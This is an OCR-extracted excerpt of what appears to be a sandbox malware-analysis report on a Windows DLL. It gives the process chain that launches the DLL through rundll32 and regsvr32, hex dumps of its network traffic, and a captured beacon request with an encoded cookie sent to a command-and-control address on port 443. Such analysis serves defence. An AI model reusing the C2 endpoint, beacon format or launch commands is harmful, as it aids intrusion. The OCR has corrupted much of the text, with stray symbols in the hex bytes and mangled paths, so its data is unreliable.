2021-12-03 00:05:28 UTC 65 IN Data Raw: 19 6e 39 f0 6b 1c 44 ec ad 70 72 88 00 02 ad 24 ab 28 58 52 4d 94 81 99 9e 41 12 37 69 1f 95 1b 82 85 fb a7
fc d8 84 64 95 42 9e a7 01 02 15 5a 5a 2a 00 42 67 cc 6d b7 13 83 65 af d8 1c 79 aa 82 ed 50 41 e0 d6 4c 81 72 88 b4 69
8e bc 49 00 4 8b 85 b0 84 64 9e 12 86 50 30 d9 dc a2 e4 77 2d 4c 5e 59 78 71 02 e0 4f 74 Oa 6b b4 aa ae f3 68 03 92 c7
0f b2 25 02 64 5d 07 46 56 c5 7e d8 3c d3 dd 24 20 09 ca b7 65 25 c0 fb al 69 2d d4 0f 00 3e cb 2b 4b 88 b4 44 ad a3 aa
12 2f 08 c4 c8 cl c2 8b a2 08 25 32 98 d2 1c fd fO 16 96 3d fO 1a 18 4e 33 95 4f 30 a8 07 3b 5b 1b 97 31 c0 77 21 32 €0
42 14 df 13 0a 91 1a a0 e0 d8 a2 44 b6 05 91 42 0d 96 a8 10 82 36 de €9 a0 c5 cd d7 74 5e 67 49 6d f9 44 14 1ae3 84 41
01c0 8504 76 €0 66 04 a8 e0 d7 43 b4 18 13 83 c8 a9 18
Data Ascii: n9kDpr$(XRMA7idBZZ*BgmeyPALrildPOw-L"YxqOtkh%d]FV~<$ e%i->+KD/%2=N300;[1w!2BDB6t"gImDAVfC

2021-12-03 00:05:28 UTC 66 IN Data Raw: 82 4c f7 47 69 29 ad 13 06 08 55 4c bf b0 57 51 84 1b 33 17 5a 03 83 a6 46 dd d0 69 6d 50 d9 08 bl bb 46 38
94 0c f8 69 e4 42 a8 ed 35 8e 91 22 06 6e 30 9c e0 eb 86 80 50 99 29 85 d7 98 1b ad 56 b3 01 ee al a5 a4 97 00 79 84
2892 d1 ee 99 b8 8e 4b 4c fb 75 09 94 19 37 24 67 13 12 b4 3c 10 e0 c2 3b Oc 22 d9 2c d2 48 9¢ 99 bd f9 a3 30 d9 6¢c 89
84 7e 63 2b 95 93 01 d4 89 d4 e7 26 89 ba d3 60 75 4a 0d 76 ce da 51 24 82 Ob dd 88 84 el 66 f3 6e 10 79 75 8b 48 da
53 db 07 81 5e 1c cb 5e ce 85 3f 50 20 13 30 00 51 22 c6 €8 86 8e 66 d1 28 1b b4 45 ca d6 75 4f 92 a5 ¢4 40 17 29 cc 7b
1b ce fc 94 dc 49 c8 ca bb cc 87 08 08 19 90 Oc b7 ba 60 2e 73 43 6¢ 4c f6 5a 5¢c eb 8a 93 16 93 65 79 36 ca ee 80 86 a0
Oc a8 b2 69 67 ef d4 3b 7f da 6b c6 Ob bf 10 8b cO 1a 63 05 19
Data Ascii: LGi)ULWQ3ZFimPF8iB5"n0P)Vy(KLu7$g<;",HOlI~c+& udvQ$fnyuHSM™?P 0Q"f(EuO@){I".sCILZ\ey6ig;kc

2021-12-03 00:05:28 UTC 67 IN Data Raw: 20 f0 02 a6 36 28 17 81 a3 3c 3e 47 c8 72 f3 36 75 17 61 88 f6 34 7c 9b e4 83 af e2 30 7e Oa 8a 37 13 f3 7d ff
00 16 4f 9c 88 07 5d 88 a4 00 6b 64 6¢ 92 67 86 34 72 7b 1d c6 2d 8b 29 2b d0 d1 8a 57 20 b5 eb da 18 3c ¢7 90 f2 04 18
4f ab ce e0 3d 4c ¢7 d2 19 72 e5 f9 28 43 e2 00 22 ef 1d 88 eb c5 d9 3f 68 b8 5¢ ab fa a9 45 dd 75 24 7b 4c 23 8f 01 ¢7 8d
8a a8 eb cB8 08 41 53 d8 cl 98 36 9c 6f fb 84 ad 58 36 3b 8f ¢5 7b 30 51 9c bd 75 e6 78 f6 9a a3 f6 88 3d 22 1f 23 d4 6a 1f
27 b0 c8 c3 a8 13 30 e6 ca 57 7e 9b 10 1e 08 06 af df ef Of 7f 71 b8 c2 c0 a8 e3 57 ec 60 8a 4a 9b 06 73 07 ad 83 fb 8f 22
209519 77 al 14 f7 al f7 84 64 41 f9 58 45 36 3a cb 00 Ob 9a 30 11 75 13 42 bf 01 87 a4 1b 11 32 56 b8 eb 7c 4c d5 d9
f2 51 40 03 ff 00 e4 cf 12 18 20 6f 61 d7 fO
Data Ascii: 6(<>Gr6ua4|0~7}0]kdlg4r{-)+W <O=Lr(C"?h\Eu${L#AS60X6;{0Qux="#]'0W~qW"Js" wdAXE6:0uB2V|LQ@ oa

2021-12-03 00:05:28 UTC 69 IN Data Raw: 6f 7d al f9 39 13 40 eb 7a 87 c2 62 c8 47 04 03 89 df d4 18 82 82 f5 24 0a df 58 06 ef 57 00 b0 6¢ 8a fb cO 71
a3 31 c6 36 4d 5¢c 3e al 66 ac fb c2 d8 d3 85 82 b4 4f ea 4c c6 d9 08 a6 50 36 40 fh 1e 84 c6 c2 f6 4a bd 5f d6 Oc 7e 2c 11
79 49 5f a8 11 b1 64 08 €0 31 27 aa ef dc 45 5¢ be 96 Oe c5 4d 1e bl be 46 9f 30 ¢7 5a 06 €0 2e b5 5b €5 7a 99 1d 49 27
22 94 fe 66 3f 17 83 83 23 b9 a2 2b a4 c¢7 91 4d 2d 82 28 8d 03 b8 be 23 11 53 6¢ 6e 94 9b 06 ab a4 19 d1 53 18 62 12 f9
17 56 25 a9 ba 90 0f d2 37 89 f0 c7 1f 05 39 2b 5d 14 98 7c 4d 80 06 3c a4 7d aa 1c d9 49 1c 30 11 f7 68 b9 3c 61 €9 89
07 ee 61 ce 98 8b 36 4c bc 51 10 12 95 de 84 el 59 32 31 ¢6 00 6a al 77 Oe Of 84 e5 8e 5¢ a0 57 50 e2 ef b7 d4 4f 8a d8
2e c7 35 ff 00 c9 d3 ac 0d 64 56 fb 19 c7 df ac a3
Data Ascii: 0}9@zbG$XWIql6M\>fOLP6@J_~,yl_d1'E\MFOZ.[zI"{?#+M-(#SInSbV%79+]|M<}I0h<aa6LQY21jw\WPO.5dV

2021-12-03 00:05:28 UTC 70 IN Data Raw: 71 9f el fa d4 93 8¢ 80 2b ad 12 7a f4 31 fc 49 41 91 8e 1c 9c 00 ea 28 df d7 af 49 8f 28 28 99 56 ce 32 b7 39
8b a0 Oe c7 5a be 90 ba 11 c0 b2 30 ec cd b3 3d 25 32 7c 55 Oe 07 45 2b €9 b1 da Oc 68 99 1f 22 a8 57 6a ba 6f 60 7a d4
5b 8 6b dO 5e f5 28 92 77 43 b0 99 da b1 d7 73 34 88 80 fb 0a 99 4d 29 1d f5 05 f2 aa al dc d6 el cf 86 8d fb 37 1d eb 70
7c 35a6 55 43 7b bf 78 a4 81 91 80 14 e6 cd 91 d6 71 06 9d 4a d9 d8 07 f9 a9 89 d5 d3 57 43 b8 a3 e4 27 88 1c 72 23 fd
8c 5e 2c 09 02 81 24 c3 a6 36 05 46 e5 d4 57 d8 40 ec al 87 4e b4 60 19 50 7f f2 cf 4d f2 16 Of f3 19 30 13 a5 14 22 3e
4c 1932 70 Ob cO ec 51 15 73 15 15 0a 83 85 59 50 3a 6f b4 5a 45 00 8d ce 2d cb 68 a0 d6 88 11 ¢8 55 62 db af de 73 el
af 8357 b0 01 b3 34 42 9f ed 10 d8 36 b4 6e a3 le
Data Ascii: q+z1IA(I((V29Z0=%2|UE+h"Wjo" z[kN(WwCs4M) 7p|SUC{xqIWC'#* $6FW@N PMO">L2pQsYP:0ZE-hUbsW4B6n

2021-12-03 00:05:28 UTC 71 IN Data Raw: 75 da 2a 03 ae 7b 37 aa 85 18 21 ef 50 ae 86 fe a2 71 b2 05 c¢5 e9 f7 dc f9 46 bd aa 70 d5 1e 97 a9 8f 18 56 bf
a7 f8 81 47 a8 1d Oe d1 87 24 e4 05 10 7d 5b eb 32 b1 1f 90 58 aa 3f 5e d1 48 2d 90 8b 3b 04 1b ef aa 99 05 17 5e 34 76
54 6b bd 40 de a2 0d fa 85 8a €9 51 49 Oe aa ec Ob 1f b9 fa c3 8e c8 38 d8 ad fe df b4 0a a8 47 3b ba eb 15 71 13 ¢5 01
2c b4 Oe fa 7e f1 45 Oa ea 7b f4 8¢ 14 03 60 57 72 2e 7f ff c4 00 40 10 00 02 01 04 01 03 03 02 04 04 04 03 05 09 00 00
0102030004 111221 051331224151 1461 1023 327106 42 8191 1552 72 al 24 6282 20 43 bl c1 c2 16 25 33
6392 a2 b3 c3 d2 ff da 00 08 01 01 00 Oa 3f 00 3d bl 6¢c af 1e 47 3e 9e 1b 26 8e 4d 1a d4 16 03 6f 8c d3 65 1c 8¢ e7 35
c7 b9 fb 0a 73 86 3a 16 04 11 8a d8 ea 33 fb d7 b7 cd 1c
Data Ascii: U*{7!PqFpVG$}[2X?"H-:74vTk@QI8G;q,~E{ Wr.@'1"AQa#2qBRr$b C%3c?=IG>&Moe5s:3

2021-12-03 00:05:28 UTC 73 IN Data Raw: da 30 68 13 7b 60 81 17 1e ea 13 5a 1b 9b 59 d4 €3 el 6e 1c 8f {6 6a ed b7 79 42 36 71 87 cf a7 24 fo 1a 16
b7 16 b2 8b 98 ed 33 90 5d 24 c1 65 3 06 05 45 ad d8 02 43 19 c2 96 00 10 df b9 f7 fc 77 f9 5f 15 c7 e2 06 80 8c 81 82
70 9 ae 58 d6 d9 f1 8a c9 2d 83 {6 ae 47 9f 3 51 f4 cd 20 1f eb 73 5e 92 41 23 ee 2b cd 2e Oe 46 33 cf 14 ¢8 92 ef 25 d3
03 8¢ 41 1e Ob 28 23 fc e4 80 7e d9 a5 86 2e e4 86 28 d4 61 54 3b 60 05 fb 00 68 f4 5 97 al ef 34 78 90 6¢ 0d db 9¢ ed
1b 26 41 0a 15 d4 f9 14 93 2 b3 a0 64 44 11 ab 60 f1 91 c9 2d cf 2c 4e 4d 49 6b 7d 27 4b 93 a7 35 d4 61 1c 9b 49 89 2f
09 49 95 d4 a3 7b f1 53 dc 45 37 18 6¢ a2 59 db 79 58 94 95 7d 4d 4b 24 16 6¢ f0 5¢ 15 €5 a2 66 6d b2 ff 00 f2 b6 47 3e d5
82 8¢ 18 64 7c 72 0d 02 97 36 b7 11 4a ec bb 63 71
Data Ascii: Oh{ ZYnjyB6q$3]$e>ECW_}X-GQ s A#+.F3%A(#~.(aT; h4xI&A,dD'- NMIK}K5al/{SE7IYy X}MK$NmG>d|r6Jcq

2021-12-03 00:05:28 UTC 74 IN Data Raw: 79 04 62 01 82 c4 f1 b1 02 9f aa f6 a3 48 a0 ea 72 8¢ 5e ¢3 1c 4c ce aa 24 4c 7e 92 e4 67 c9 4c 03 c5 2f 58 €9
ce a4 Ob 5b d1 87 44 23 04 23 f9 e0 70 05 5¢ 59 c0 5f 05 67 8¢ cf 1c 45 bc 29 92 20 5b 1f 04 ad 24 dO 8e 7b d0 30 91 31
7 ¢7 2b f 00 50 15 91 43 19 03 3f bd 3c 32 02 0a ba 1c 10 47 82 08 af a7 69 5f b5 78 bl 8e 12 ec 0d 94 e0 63 09 37 91 fO
d9 a3 1f 50 b3 8f b9 33 1e 3b d1 63 d6 c7 e5 d0 2 4f 96 5e 6b 73 20 07 70 36 01 76 fO dc 82 33 ed 44 bl 8c ee 4b 78 61
f1 f6 22 99 1a 4c 9e d8 18 00 e3 fe 6a 81 5d 1e 27 85 Oc 19 79 47 be 25 47 50 b8 8 20 d6 b1 9f d2 40 cf ab c7 35 94 00 Of
ea 73415197 057159dbc9f93409 77 c7f5al eael 7c 8278 a0 57 38 e0 d7 04 eb ea 1c 71 49 15 bf 59 b9 b8 b3 d9
Of ff 00 06 22 a2 4c a8 f8 49 02 1c 7c 71 5d bb
Data Ascii: ybHrL$L~gL/X[D##p\Y_gE) [${01+PC?<2Gi_xc7P3;cO"ks p6v3DKxa"Lj]'yG%GP @5sAQqY4w|xW8qlY"LI|q]

2021-12-03 00:05:28 UTC 76 IN Data Raw: 34 40 27 26 96 7e b7 fc 3d d5 2d 7a 85 80 1f ae 68 11 ¢7 7a 1f b9 50 77 a4 b8 b5 e8 d6 4b 6a 65 56 26 37 b8
2077 31 ec 40 23 00 8a 25 62 64 dd 4e 78 09 c8 a9 2e ac e4 6¢ 49 95 c6 80 f8 65 f8 c5 2b 18 ec 67 Oc 72 31 93 19 35 2¢
62 6b e5 13 95 24 65 63 46 2f e3 ce ¢5 87 14 15 6¢ 6¢ 88 9f ef 3¢ 9e b7 50 78 fd 38 02 ae 61 79 c0 98 cO e5 Ob 39 23 92
84 73 a7 be ec 05 5b a4 f3 2e cc 22 25 d0 f3 e2 37 cb 1f b9 af fO db 9e a7 7b 6a d6 57 90 8c 44 23 2d 22 4f 1f 78 30 31 97
1af2 78 27 20 dO ea 3d 45 6d be 8e ee e7 41 6f 25 cc 06 4c c4 6e 63 07 97 fd 40 bb 12 24 d4 11 c8 34 ed 1b cc e5 03 e7
f4 a9 f1 cf 1c 52 43 01 8d e2 99 e2 52 ef 12 95 ¢3 3f 6¢ 79 6f f2 67 de 8d b6 96 b1l 33 c4 5d b6 90 a0 Ob dc 01 46 07 1e 45
59 7d 04 1d 5c¢ 09 6e 1d d6 3e d9 9a 2c 96 d9 b1 b0
Data Ascii: 4@'&~=-zhzPwKjeV&7 w1l@#%bdNx.lle+grl5,bk$ecF/ll<Px8ay9#s|."%7{jWD#-"Ox01x' =EmA0%Lnc@%$4R
CR?lyog3]FEY}n>,
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kBytes

Timestamp transferred Direction
2021-12-03 00:05:28 UTC 77 IN
2021-12-03 00:05:28 UTC 78 IN
2021-12-03 00:05:28 UTC 80 IN
2021-12-03 00:05:28 UTC 81 IN
2021-12-03 00:05:28 UTC 82 IN
2021-12-03 00:05:28 UTC 84 IN
2021-12-03 00:05:28 UTC 85 IN
Session ID Source IP Source Port
7 192.168.2.3 49900
kBytes
Timestamp transferred Direction
2021-12-03 00:06:21 UTC 174 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: 16 57 2c¢ 10 4d 2c 00 ac 6e 03 71 30 50 1c Oe 41 ae 99 7e 22 99 a2 92 44 bb 49 ad f1 b0 21 a3 91 08 Oe cc 39
1e 46 0f 35 b2 ee 11 4f 2b a9 f1 ec 70 7e 6a 4c c5 fa 94 f0 b9 3c 02 05 17 90 9c 88 63 5d a4 2a 3c e2 ac 92 e2 66 58 9a
el e657 72 15 7c 14 66 19 0a 00 00 Oa 37 42 f6 d5 25 ba 76 46 74 4b 9b 87 96 26 4e 79 cb 18 18 af bd 27 63 a6 14 8a el
€2 757919 d9 99 57 b6 Of ea 5f 4f 2f 44 26 d9 d4 ae 43 7c 79 a5 92 e0 38 50 65 82 19 44 6a 3¢ 9e dc a3 57 6f b3 57 5b
€9 b6 b3 5d 24 ac b6 3d 29 2d e3 95 d4 34 71 b4 a6 18 d9 22 Oe cc de 96 f5 1c 02 05 7f 8b f4 4e ad 6b dd bl bb 76 4d c4
a9 cc 90 4c a8 a3 59 15 59 49 c8 5a ea 16 c9 dd 44 30 47 37 al b7 52 dc a3 12 31 e9 35 d0 3a 82 cf eb 77 82 03 d3 a6

63 9f 2f 25 89 8f 63 fb d7 f1 47 41 69 5d 08 2d da ea 36 f1

Data Ascii: W,M,nqOPA~"DI!9F50+p~jL<c]*<fXWr|f7B%VFtK&Ny'cuyW_O/D&C|y8PeDj<WoW[]$=)-4q"NkvMLYYIZDOG7
R15:wc/%cGAi]-6

Data Raw: a5 a9 45 bc 33 99 64 b9 24 8d 52 db d4 ee 71 c6 b4 92 43 d5 ac 97 d6 50 2b 7d 45 af a2 4d f8 04 c8 ea 52 46
27 9c bd 33 cf 03 33 c2 22 cb 63 65 31 9d 94 ba 8c 30 63 f7 a9 ¢4 9d 57 aa 41 2b ¢4 bl 1d c¢7 61 d0 86 03 e0 85 a7 82 Ob
ae ad 0d dc f7 52 bf ae 64 b6 8c a4 6b a7 b0 25 b3 fd 05 3c 44 02 38 c3 79 f3 c3 66 a6 13 44 ca ae a4 47 8c 7e da d5 d9
ea 6f 76 f6 b3 a2 dd a4 29 eb 05 15 f8 59 08 60 c0 11 €8 ae b8 1e 6e bd 7b 61 7e 12 44 60 67 b6 db cf 27 46 92 38 cf 21
9a ba 6d c4 b0 4b 11 92 25 69 56 61 16 1b fe 1e 41 70 f2 0d e2 23 c2 79 e6 96 16 80 14 fc 95 dc 9c b8 1e al 91 c8 ff 00
3577 9a e2 45 f2 fa bf 77 2a 09 5e 4e 14 e3 04 52 84 01 54 ba 1e 41 3c f0 3c f2 4d 74 cb c4 ed 95 54 bd 32 24 4e 14 fa
58 b4 6e 87 60 3e e0 54 76 3d 3c 75 8b a8 7b 50 1e 5e da

Data Ascii: E3d$RqCP+}EMRF'33"ce10cWA+aRdk%<D8yfDG~ov)Y n{a~D g'F8!mK%iVaAp#ySwEW*"NRTA<<M
tT2$NXn >Tv=<u{P?

Data Raw: ef af fb ¢7 4b 2c fd 02 ea Oe a9 d2 74 74 01 a6 90 99 75 69 4b 2a 85 60 e5 5b d8 80 3e 2a 63 22 75 7b b8 a3
bb 89 a3 89 e3 1f 50 el 54 31 21 4a b7 1c b7 8a b2 b5 b9 b0 21 46 cd 34 a2 ea 43 fc 9f 51 0f 70 1d 41 e5 c¢7 06 ac 25 99
65 e6 58 8c b2 3c 72 21 d4 31 6¢ 1f 24 e7 cd 41 d4 fa 35 ed cd b6 67 03 b1 77 17 65 08 83 49 e3 68 c9 48 d5 8e 85 €8 74
db c6 bc 69 07 50 9 bl 34 f6 f7 31 28 d3 b6 a9 f5 3a 46 01 39 2a 36 3e 08 6a 85 db a7 2e b3 db d8 c9 13 b6 fb 96 59 c2
db 48 ea c8 25 77 2b 86 c2 ec 40 a7 b9 bd 6b a7 96 77 68 8¢ 38 91 ff 00 3b 86 70 8c 8e 4f b2 fa 45 5¢ ¢7 3d d2 09 cd ec
€2 37 17 b1 14 Oe 25 42 aa 12 7e 08 66 6¢ 6e 4f ea a5 58 ad 9b 36 17 e6 3c 68 8c be b8 66 44 62 ac ad ae 34 65 d4 8c 8¢
d1 b4 ea 57 29 0d 94 5d 45 26 78 ad d2 46 9f bd Oa cc 1b

Data Ascii: K, ttuikK*' [>*c"u{PT1IJIFACQpA%eX<r!1I$A5gwelhHtiP41(:F9*6>].Y HY%w+@kwh8;pOE\=7%B~flInOX6<hf
Db4eW)]E&xF

Data Raw: fO 5b 8d 4e b8 3c 62 86 15 17 18 39 18 23 20 e7 df 22 bf a8 38 34 4e 54 8e 40 a0 le ce da d7 d7 8c 1f f8 59 la
d7 96 08 80 fa 47 00 b3 7d 85 34 f6 76 73 40 93 b4 c8 b3 db 19 12 de 36 21 d4 ae 30 c0 95 18 3b 62 ad 3a 79 0d 2c 8¢ fO
5b 32 ea 1d 8b 8¢ 02 75 0a a7 85 a2 dd c1 b4 77 2f 76 ea ed ae 19 b4 8c 1c le 7d f1 c5 4d 6e c1 8b cf f5 12 6f b0 45 38
02 76 08 57 19 21 53 6¢ 13 52 1b 39 a3 55 4b 99 6d c4 8c dd bc 95 31 ee ab 80 ¢3 82 73 93 8a 16 bd 62 1d e4 dc 23 07
9e 04 54 45 8¢ 23 bc 00 12 d9 60 e6 45 5¢ Oc 55 8¢ bd 4e 72 5e e6 ce 68 27 b5 31 22 el 1e 25 77 43 b4 ca ce 10 fd fd 23
356f 17 54 17 45 14 31 28 b1 e4 0d 5a 66 2a 06 8e 30 14 8c 91 ee 05 28 5b 7b 84 5f a3 ee 34 12 4a 26 00 77 93 78 ca eb
22e028 el 8aelabaddd4b03f70dd7 4e bl 90 c1 68

Data Ascii: [N<b9# "84NT@Y G}4vs@6!0;b:y,[2uw/v}MnoE8VWISIROUKmM1sb#TE# E\UNrh'1"%wC#50TEL(Zf*0([{_4J
&wx"(KNh

Data Raw: d8 el 14 05 e4 Oc Oc Oa 85 a6 99 8b a4 b0 al 0f ae ec af 27 f9 54 b3 29 48 c0 ff 00 99 a9 el 91 e2 96 e4 45 01
ca 46 91 c4 66 ee c8 4b 19 18 6b fa Oe 30 4f 35 d3 af e4 42 el 60 b9 b7 95 51 14 af a5 b4 32 ba 96 5e 47 ed f7 ab 9f ac
b3 b1 df a8 5d 86 01 9d e7 70 be 80 76 c2 a0 74 43 c6 76 04 d2 b3 cb 0a 47 29 9c a0 2d 23 a9 28 8a dc e2 52 13 0Oa 53 of
6f 19 af a6 92 da 24 81 ed 91 cc 8b ce 1c 4a 65 62 c4 96 25 94 29 e4 05 1c d1 fb 83 43 fa 54 86 ee c¢7 f8 81 04 13 a0 51
da 82 64 d6 6d c3 03 ba 3f e9 f6 28 6b f4 19 6¢ d9 94 fO 1e 22 1e 36 1f 05 94 ff 00 b5 39 78 a3 28 02 70 22 62 40 0 78 00
80 31 8a d6 79 18 46 6d 8b 42 cf 2a c8 Oa ec 32 ea c3 93 80 a4 54 b3 bb dd 04 6b 43 16 55 35 40 59 99 9b c6 Of 1c 73 49
15 d9 90 da dc f4 d8 23 95 24 59 31 f9 44 4d 2a cd

Data Ascii: 'T)HEFfKkOO5B" Q2"G]pvtCvG)-#(RS0$Jeb%)CTQdm?(kI"69x(p"b@x1yFmB*2TKCUS@Y sI#$Y1DM*

Data Raw: 30 9b 98 Oc 92 09 26 8f b3 12 4c 92 4c 9b 6f 16 a0 a6 57 5a bc 3d 40 c1 73 d3 ba 5f 4f 98 3a 42 e8 63 52 b6 cc
15 1e 7c c5 95 d8 c9 8c be 1f 38 65 al 04 d1 74 f9 52 el 2f 2d 9b 2e 96 ea 91 76 a6 ca 06 0d d9 ed c3 26 00 2c b8 70 4f
06 b6 b2 96 3b 58 2c 21 78 04 68 1a c9 e2 92 14 99 d3 b8 e8 c6 44 00 80 33 eb a9 e0 4b eb 3b 8e a5 61 7d 24 5d b1 3c
b3 5a 69 09 d2 25 97 52 1c 29 Ob 90 41 63 c5 5b Oe al 77 37 51 b9 ef 44 5b 4b ab 54 €9 33 cb d8 49 1d 9c 22 a4 3 1e 03
b0 dc 0a 12 ad fd 84 36 93 a8 79 18 41 60 10 46 11 82 10 8f 3b 41 6¢ 81 34 60 40 24 13 9a 69 6d af ef 2e a3 71 2c e8 56
db a7 de a4 d6 51 44 ee cb 8e e4 88 1e 40 00 cb Of 1c 0a 8b a9 c7 37 56 4b ab d9 a0 b5 2e f1 5b b3 ac 51 14 77 05 bb 88
€8 15 4e 32 25 20 72 58 d5 8d a7 57 b3 30 75 05 €9 51 58

Data Ascii: 0&LLoWZ=@s_0:BcR|8etR/-.v&,pO;X,!xhD3K;a}$]<Zi%R)Ac[w7QD[KT3I"6yA'F;Al4° @$im.q,VQD@7VK.[
QWN2% rXWOuQX

Data Raw: 46 1b 67 2e 59 97 52 70 be ac 1c d4 57 d2 3c a3 ea 1e 66 ed 09 fb 72 6e d1 ca 17 ce 04 60 97 39 27 ef 4b 35
a4 0Ob 6e f6 97 4d 72 53 b8 cc c0 13 70 80 ec b9 27 00 46 46 b8 f2 6a dc db cb 24 64 ca a8 ea 40 0d a8 9b 20 87 dc f2 7e
734159 34 8a €9 11 b0 1d a3 cc 8a 57 50 9c 6¢ be 67 90 56 8a 7 98 a4 ¢4 29 c0 Ob 21 20 Oc 10 09 24 64 e5 71 42 48 6d
e4 ed 4c 1b 3d c0 76 e0 e4 1e Ob 61 97 d2 78 19 al 26 56 eb 2e 24 f5 39 48 c¢3 ba b1 d0 67 3b 7a Of b0 38 34 62 b9 bc b5
ba de 55 2e 04 88 aa f0 a0 65 56 03 24 9f d5 ed 48 f0 2d e5 ea 47 95 2a c6 49 f4 45 Oe a3 Oa 30 98 01 93 ee 31 47 74 98
8372 ec db 23 e0 b2 85 00 ff 00 2e 19 83 63 3c d4 13 45 3¢ 08 2d 01 85 25 36 cc 44 61 d1 92 40 11 81 59 06 c3 90 73 80
6a f0 da cc f3 b4 fd ad 59 bb 32 6b 89 63 59 38 Oa aa c4

Data Ascii: Fg.YRpW<frn'9'K5nMrSp'FFj$d@ ~sAY4WPIgV)! $dgBHmL=vax&V.$9Hg;z84bU.eV$H-G*IE01Gtr#.c<E<-
%6Da@YsjY2kcY8

Destination IP Destination Port Process

172.104.227.98 443 C:\Windows\SysWOW64\rundlI32.exe

Data

GET /DlyfDURfBLZbwEIrhufovCUNozIrPYPKBEAYjljXBPgzDrkcOIZvLCAzNWfafqw HTTP/1.1

Cookie: sEEsCegg=4q01stMjimlici6xX2jxLGKe6MCPNbnK1xmsgjeQ4wG|751tdH19aLK1hOBTOWYkZ8lizvbsTtY+HEWL1jW
EEIdZ31kXErcV8lu31goLszXmSSCAJ/jxFXeb28T7BvU3pJ1fQ5SBIv8mct/ZsMifw4c1SW23PCoKZFVpUEpiSeJPj
ZouKxSg1lY+ICnUcyP6LAzstZfITOycDxiYfFCorgHymGq9MgAuOADI1I4Yjqddwwa+BOKY4mbSwScVU5tBBCLCIipGQ
dMbVrTAuDS4VDp/sNeOTnaVI10e+R9JIGTanpS/K4P4ziS

Host: 172.104.227.98

Connection: Keep-Alive

Cache-Control: no-cache
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:06:21 UTC 174 IN HTTP/1.1 200 OK
Server: nginx

Date: Fri, 03 Dec 2021 00:06:21 GMT
Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

2021-12-03 00:06:21 UTC 175 IN Data Raw: 64 36 0d Oa 61 cd ec 54 dd eb dc fa 44 5c 74 48 68 5f 59 13 €3 9c 6d 50 9f 23 b2 fa ff f0 c8 ed fO 3d b5 bf 3a c0
la5e 71 €9 7c 69 33 98 c7 4c 56 5d e7 07 4d 54 83 53 27 64 e4 f9 6f a4 9c 54 fd 5b 0d 3f 86 19 c2 d8 cc 2d 6b b7 8e 3d
99 f4 31 92 fa dc 28 75 de 35 6d 3f 71 f8 09 9a d6 c5 be c¢5 a0 80 ad 42 7f Oe a7 e0 51 89 52 c¢5 f7 55 59 00 1c d8 86 ad 17
6d 7b ed 9c ce cc 9e 26 6b d5 74 5e 07 22 ¢9 08 c6 2c 03 51 7b ¢3 c3 df 1b c3 b7 e8 8f 4c bd f3 44 33 40 4b 28 db 7a 9d
e7 b0 c3 c5 6a 11 f7 4e 41 7b 7 20 f3 0a b3 ¢5 79 40 da 10 58 5¢ 76 ab dc 3f 22 1a 93 ¢3 36 5b ab 14 6b 3c 37 33 0d 73
3f 05 1d d9 3e 90 77 56 98 a4 43 1a 29 5b 66 51 3d ba fd 0d 0a 30 0d Oa 0d Oa
Data Ascii: d6aTD\tHh_YmP#=:"q|i3LVIMTS'doT[?-k=1(uSm?gBQRUYm{&kt"",Q{LD3@K (zjNA{ y@X\v?"6[k<73s?>WVC)

[fQ=0

Code Manipulations

Statistics

Behavior

\E' Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 2548 Parent PID: 5532

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:05:05

03/12/2021

C:\Windows\System32\loaddll32.exe

true

loaddll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dII"
0x170000

893440 bytes
72FCD8FBOADC38ED9050569AD673650E

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: cmd.exe PID: 2464 Parent PID: 2548

General

Start time: 01:05:05

Start date: 03/12/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Copyright Joe Security LLC 2021
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

cmd.exe /C rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dII" #1

0xd80000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: regsvr32.exe PID: 6048 Parent PID: 2548

General

Start time: 01:05:05

Start date: 03/12/2021

Path: C:\Windows\SysWOW64\regsvr32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

regsvr32.exe /s C:\Users\user\Desktop\AP8cSQS6y5.dll
0xdf0000

20992 bytes

426E7499F6A7346F0410DEAD0805586B

true

true

C, C++ or other language

Reputation: high
Analysis Process: rundll32.exe PID: 3696 Parent PID: 2464
General
Start time: 01:05:05
Start date: 03/12/2021
Path: C:\Windows\SysWOWe64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

rundll32.exe "C:\Users\user\Desktop\AP8cSQS6y5.dll" #1
0xdc0000

61952 bytes

D7CA562B0DB4F4DDOF03A89A1FDAD63D

true

true

C, C++ or other language

Reputation: high
Analysis Process: iexplore.exe PID: 5820 Parent PID: 2548
General
Start time: 01:05:06
Start date: 03/12/2021
Path: C:\Program Files\internet exploreniexplore.exe
Wow64 process (32bit): false
Commandline: C:\Program Files\Internet Explorer\iexplore.exe
Imagebase: 0x7ff7a2ba0000
File size: 823560 bytes
MDS5 hash: 6465CB92B25A7BC1DF8E01D8AC5E7596

Has elevated privileges:

Copyright Joe Security LLC 2021
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Has administrator privileges:

Programmed in:

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Analysis Process: rundll32.exe PID: 4472 Parent PID: 2548

General

Start time: 01:05:06

Start date: 03/12/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

rundll32.exe C:\Users\user\Desktop\AP8cSQS6y5.dll,DIIRegisterServer
0xdc0000

61952 bytes

D7CA562B0DB4F4DDOF03A89A1FDAD63D

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Deleted
Analysis Process: iexplore.exe PID: 4664 Parent PID: 5820

General

Start time: 01:05:06

Start date: 03/12/2021

